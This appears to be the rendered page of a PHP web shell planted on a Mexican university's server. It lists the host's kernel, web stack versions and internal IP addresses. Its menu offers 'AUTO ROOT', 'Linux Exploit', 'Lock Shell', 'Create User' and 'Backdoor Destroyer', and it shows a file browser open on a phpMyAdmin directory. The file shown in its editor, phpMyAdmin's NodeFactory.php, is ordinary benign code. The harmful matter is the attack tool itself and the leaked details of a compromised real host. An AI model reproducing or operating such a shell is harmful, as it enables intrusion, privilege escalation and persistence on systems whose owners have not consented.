Linux ns1.utparral.edu.mx 6.8.0-79-generic #79~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Fri Aug 15 16:54:53 UTC 2 x86_64
Apache/2.4.58 (Unix) OpenSSL/1.1.1w PHP/8.2.12 mod_perl/2.0.12 Perl/v5.34.1
: 10.10.1.9 | : 10.10.1.254
Cant Read [ /etc/named.conf ]
daemon
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
README
+ Create Folder
+ Create File
/
opt /
lampp /
htdocs /
phpMyAdmin /
libraries /
navigation /
[ HOME SHELL ]
Name
Size
Permission
Action
nodes
[ DIR ]
drwxrwxr-x
NavigationHeader.php
7.66
KB
-rwxrwxr-x
Navigation.php
8.57
KB
-rwxrwxr-x
NavigationTree.php
52.69
KB
-rwxrwxr-x
NodeFactory.php
2.41
KB
-rwxrwxr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : NodeFactory.php
<?php /* vim: set expandtab sw=4 ts=4 sts=4: */ /** * This class is responsible for creating Node objects * * @package PhpMyAdmin-navigation */ namespace PMA\libraries\navigation; use PMA\libraries\navigation\nodes\Node; /** * Node factory - instantiates Node objects or objects derived from the Node class * * @package PhpMyAdmin-Navigation */ class NodeFactory { protected static $_namespace = 'PMA\\libraries\\navigation\\nodes\\%s'; /** * Sanitizes the name of a Node class * * @param string $class The class name to be sanitized * * @return string */ private static function _sanitizeClass($class) { if (!preg_match('@^Node\w*$@', $class)) { $class = 'Node'; trigger_error( sprintf( /* l10n: The word "Node" must not be translated here */ __('Invalid class name "%1$s", using default of "Node"'), $class ), E_USER_ERROR ); } return self::_checkClass($class); } /** * Checks if a class exists and try to load it. * Will return the default class name back if the * file for some subclass is not available * * @param string $class The class name to check * * @return string */ private static function _checkClass($class) { $class = sprintf(self::$_namespace, $class); if (! class_exists($class)) { $class = sprintf(self::$_namespace, 'Node'); trigger_error( sprintf( __('Could not load class "%1$s"'), $class ), E_USER_ERROR ); } return $class; } /** * Instantiates a Node object * * @param string $class The name of the class to instantiate * @param string $name An identifier for the new node * @param int $type Type of node, may be one of CONTAINER or OBJECT * @param bool $is_group Whether this object has been created * while grouping nodes * * @return mixed */ public static function getInstance( $class = 'Node', $name = 'default', $type = Node::OBJECT, $is_group = false ) { $class = self::_sanitizeClass($class); return new $class($name, $type, $is_group); } }
Close